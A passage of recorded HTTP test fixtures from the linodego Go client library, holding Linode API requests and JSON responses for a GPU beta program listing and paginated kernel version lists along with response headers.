Connection: - keep-alive Content-Length: - "786" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/betas/rtx_4000_ada_beta method: GET response: body: '{"id": "rtx_4000_ada_beta", "label": "NVIDIA RTX 4000 Ada Series GPU Beta", "description": "Our new cloud GPUs are available to a limited number of customers for early access. Powered by the NVIDIA Quadro RTX 4000 Ada generation GPU cards, these GPUs are optimized for media workloads such as media transcoding, but fit a range of use cases for parallelization such as training for AI models and data analysis. If accepted for early access participation, you will be notified via support ticket with instructions and resources. Beta GPUs are subject to standard charges.", "started": "2018-01-02T03:04:05", "ended": null, "greenlight_only": false, "more_info": "https://www.linode.com/docs/products/compute/compute-instances/plans/gpu/"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "737" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestBetaPrograms_List.yaml000066400000000000000000000052061474652371000316740ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/betas?page=1 method: GET response: body: '{"data": [{"id": "rtx_4000_ada_beta", "label": "NVIDIA RTX 4000 Ada Series GPU Beta", "description": "Our new cloud GPUs are available to a limited number of customers for early access. Powered by the NVIDIA Quadro RTX 4000 Ada generation GPU cards, these GPUs are optimized for media workloads such as media transcoding, but fit a range of use cases for parallelization such as training for AI models and data analysis. If accepted for early access participation, you will be notified via support ticket with instructions and resources. Beta GPUs are subject to standard charges.", "started": "2018-01-02T03:04:05", "ended": null, "greenlight_only": false, "more_info": "https://www.linode.com/docs/products/compute/compute-instances/plans/gpu/"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "786" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestCache_Expiration.yaml000066400000000000000000004532351474652371000315310ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=1 method: GET response: body: '{"data": [{"id": "linode/latest-2.6-32bit", "label": "Latest 2.6 (2.6.39.1-linode34)", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label": "Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.8.9-x86-linode184)", "version": "6.8.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.8.9-x86_64-linode164", "label": "6.8.9-x86_64-linode164", "version": "6.8.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.8.9-x86-linode184", "label": "6.8.9-x86-linode184", "version": "6.8.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.7.9-x86_64-linode163", "label": "6.7.9-x86_64-linode163", "version": "6.7.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.7.9-x86-linode183", "label": "6.7.9-x86-linode183", "version": "6.7.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.4.9-x86_64-linode162", "label": "6.4.9-x86_64-linode162", "version": "6.4.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.4.9-x86-linode182", "label": "6.4.9-x86-linode182", "version": "6.4.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.3.5-x86_64-linode161", "label": "6.3.5-x86_64-linode161", "version": "6.3.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.3.5-x86-linode181", "label": "6.3.5-x86-linode181", "version": "6.3.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version": "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180", "label": "6.2.9-x86-linode180", "version": "6.2.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86_64-linode159", "label": "6.1.10-x86_64-linode159", "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86-linode179", "label": "6.1.10-x86-linode179", "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86_64-linode158", "label": "6.0.10-x86_64-linode158", "version": "6.0.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86-linode178", "label": "6.0.10-x86-linode178", "version": "6.0.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86_64-linode157", "label": "6.0.2-x86_64-linode157", "version": "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86-linode177", "label": "6.0.2-x86-linode177", "version": "6.0.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86_64-linode156", "label": "5.19.2-x86_64-linode156", "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86-linode176", "label": "5.19.2-x86-linode176", "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86_64-linode155", "label": "5.18.2-x86_64-linode155", "version": "5.18.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86-linode175", "label": "5.18.2-x86-linode175", "version": "5.18.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.17.5-x86_64-linode154", "label": "5.17.5-x86_64-linode154", "version": "5.17.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.17.5-x86-linode174", "label": "5.17.5-x86-linode174", "version": "5.17.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.13-x86-linode173", "label": "5.16.13-x86-linode173", "version": "5.16.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.13-x86_64-linode153", "label": "5.16.13-x86_64-linode153", "version": "5.16.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.3-x86_64-linode152", "label": "5.16.3-x86_64-linode152", "version": "5.16.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.3-x86-linode172", "label": "5.16.3-x86-linode172", "version": "5.16.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.15.10-x86_64-linode151", "label": "5.15.10-x86_64-linode151", "version": "5.15.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.15.10-x86-linode171", "label": "5.15.10-x86-linode171", "version": "5.15.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.17-x86_64-linode150", "label": "5.14.17-x86_64-linode150", "version": "5.14.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.17-x86-linode170", "label": "5.14.17-x86-linode170", "version": "5.14.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.15-x86_64-linode149", "label": "5.14.15-x86_64-linode149", "version": "5.14.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.15-x86-linode169", "label": "5.14.15-x86-linode169", "version": "5.14.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.14-x86_64-linode148", "label": "5.14.14-x86_64-linode148", "version": "5.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.14-x86-linode168", "label": "5.14.14-x86-linode168", "version": "5.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.2-x86_64-linode147", "label": "5.14.2-x86_64-linode147", "version": "5.14.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.2-x86-linode167", "label": "5.14.2-x86-linode167", "version": "5.14.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.13.4-x86_64-linode146", "label": "5.13.4-x86_64-linode146", "version": "5.13.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.13.4-x86-linode166", "label": "5.13.4-x86-linode166", "version": "5.13.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.13-x86_64-linode145", "label": "5.12.13-x86_64-linode145", "version": "5.12.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.13-x86-linode165", "label": "5.12.13-x86-linode165", "version": "5.12.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.2-x86_64-linode144", "label": "5.12.2-x86_64-linode144", "version": "5.12.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.2-x86-linode164", "label": "5.12.2-x86-linode164", "version": "5.12.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.13-x86_64-linode143", "label": "5.11.13-x86_64-linode143", "version": "5.11.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.13-x86-linode163", "label": "5.11.13-x86-linode163", "version": "5.11.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.9-x86_64-linode142", "label": "5.11.9-x86_64-linode142", "version": "5.11.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.9-x86-linode162", "label": "5.11.9-x86-linode162", "version": "5.11.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.13-x86_64-linode141", "label": "5.10.13-x86_64-linode141", "version": "5.10.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.13-x86-linode161", "label": "5.10.13-x86-linode161", "version": "5.10.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.2-x86_64-linode140", "label": "5.10.2-x86_64-linode140", "version": "5.10.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.2-x86-linode160", "label": "5.10.2-x86-linode160", "version": "5.10.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.9.6-x86_64-linode139", "label": "5.9.6-x86_64-linode139", "version": "5.9.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.9.6-x86-linode159", "label": "5.9.6-x86-linode159", "version": "5.9.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.10-x86-linode158", "label": "5.8.10-x86-linode158", "version": "5.8.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.10-x86_64-linode138", "label": "5.8.10-x86_64-linode138", "version": "5.8.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.3-x86_64-linode137", "label": "5.8.3-x86_64-linode137", "version": "5.8.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.3-x86-linode157", "label": "5.8.3-x86-linode157", "version": "5.8.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.7.6-x86-linode156", "label": "5.7.6-x86-linode156", "version": "5.7.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86-linode155", "label": "5.6.14-x86-linode155", "version": "5.6.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.1-x86-linode154", "label": "5.6.1-x86-linode154", "version": "5.6.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86-linode152", "label": "5.4.10-x86-linode152", "version": "5.4.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.11-x86-linode151", "label": "5.3.11-x86-linode151", "version": "5.3.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86-linode150", "label": "5.3.7-x86-linode150", "version": "5.3.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.2.9-x86-linode149", "label": "5.2.9-x86-linode149", "version": "5.2.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86-linode148", "label": "5.1.17-x86-linode148", "version": "5.1.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.11-x86-linode147", "label": "5.1.11-x86-linode147", "version": "5.1.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86-linode146", "label": "5.1.5-x86-linode146", "version": "5.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.120-x86-linode145", "label": "4.14.120-x86-linode145", "version": "4.14.120", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86-linode144", "label": "5.1.2-x86-linode144", "version": "5.1.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.8-x86-linode143", "label": "5.0.8-x86-linode143", "version": "5.0.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.20.4-x86-linode141", "label": "4.20.4-x86-linode141", "version": "4.20.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86-linode140", "label": "4.19.8-x86-linode140", "version": "4.19.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.5-x86-linode139", "label": "4.19.5-x86-linode139", "version": "4.19.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86-linode138", "label": "4.18.16-x86-linode138", "version": "4.18.16", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86-linode137", "label": "4.18.8-x86-linode137", "version": "4.18.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86-linode136", "label": "4.18.8-x86-linode136", "version": "4.18.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.17-x86-linode135", "label": "4.17.17-x86-linode135", "version": "4.17.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.15-x86-linode134", "label": "4.17.15-x86-linode134", "version": "4.17.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86-linode133", "label": "4.17.14-x86-linode133", "version": "4.17.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86-linode132", "label": "4.17.14-x86-linode132", "version": "4.17.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.12-x86-linode131", "label": "4.17.12-x86-linode131", "version": "4.17.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.11-x86-linode130", "label": "4.17.11-x86-linode130", "version": "4.17.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.8-x86-linode129", "label": "4.17.8-x86-linode129", "version": "4.17.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.2-x86-linode128", "label": "4.17.2-x86-linode128", "version": "4.17.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.16.11-x86-linode127", "label": "4.16.11-x86-linode127", "version": "4.16.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.18-x86-linode126", "label": "4.15.18-x86-linode126", "version": "4.15.18", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.13-x86-linode125", "label": "4.15.13-x86-linode125", "version": "4.15.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.12-x86-linode124", "label": "4.15.12-x86-linode124", "version": "4.15.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.10-x86-linode123", "label": "4.15.10-x86-linode123", "version": "4.15.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.8-x86-linode122", "label": "4.15.8-x86-linode122", "version": "4.15.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.7-x86-linode121", "label": "4.15.7-x86-linode121", "version": "4.15.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.19-x86-linode119", "label": "4.14.19-x86-linode119", "version": "4.14.19", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.17-x86-linode118", "label": "4.14.17-x86-linode118", "version": "4.14.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.80-x86-linode117", "label": "4.9.80-x86-linode117", "version": "4.9.80", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.115-x86-linode116", "label": "4.4.115-x86-linode116", "version": "4.4.115", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.113-x86-linode115", "label": "4.4.113-x86-linode115", "version": "4.4.113", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86-linode114", "label": "4.9.78-x86-linode114", "version": "4.9.78", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=2 method: GET response: body: '{"data": [{"id": "linode/4.14.14-x86-linode113", "label": "4.14.14-x86-linode113", "version": "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86-linode112", "label": "4.14.14-x86-linode112", "version": "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86-linode107", "label": "4.9.64-x86-linode107", "version": "4.9.64", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.68-x86-linode108", "label": "4.9.68-x86-linode108", "version": "4.9.68", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86-linode111", "label": "4.14.12-x86-linode111", "version": "4.14.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.11-x86-linode110", "label": "4.14.11-x86-linode110", "version": "4.14.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86-linode106", "label": "4.9.56-x86-linode106", "version": "4.9.56", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86-linode105", "label": "4.9.50-x86-linode105", "version": "4.9.50", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86-linode104", "label": "4.9.36-x86-linode104", "version": "4.9.36", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86-linode102", "label": "4.9.33-x86-linode102", "version": "4.9.33", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86-linode100", "label": "4.9.15-x86-linode100", "version": "4.9.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86-linode99", "label": "4.9.7-x86-linode99", "version": "4.9.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86-linode98", "label": "4.9.0-x86-linode98", "version": "4.9.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86-linode97", "label": "4.8.6-x86-linode97", "version": "4.8.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86-linode96", "label": "4.8.4-x86-linode96", "version": "4.8.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86-linode95", "label": "4.8.3-x86-linode95", "version": "4.8.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.1-x86-linode94", "label": "4.8.1-x86-linode94", "version": "4.8.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86-linode92", "label": "4.7.3-x86-linode92", "version": "4.7.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86-linode90", "label": "4.7.0-x86-linode90", "version": "4.7.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.5-x86-linode89", "label": "4.6.5-x86-linode89", "version": "4.6.5", "kvm": true, "architecture": "i386", "pvops": true, 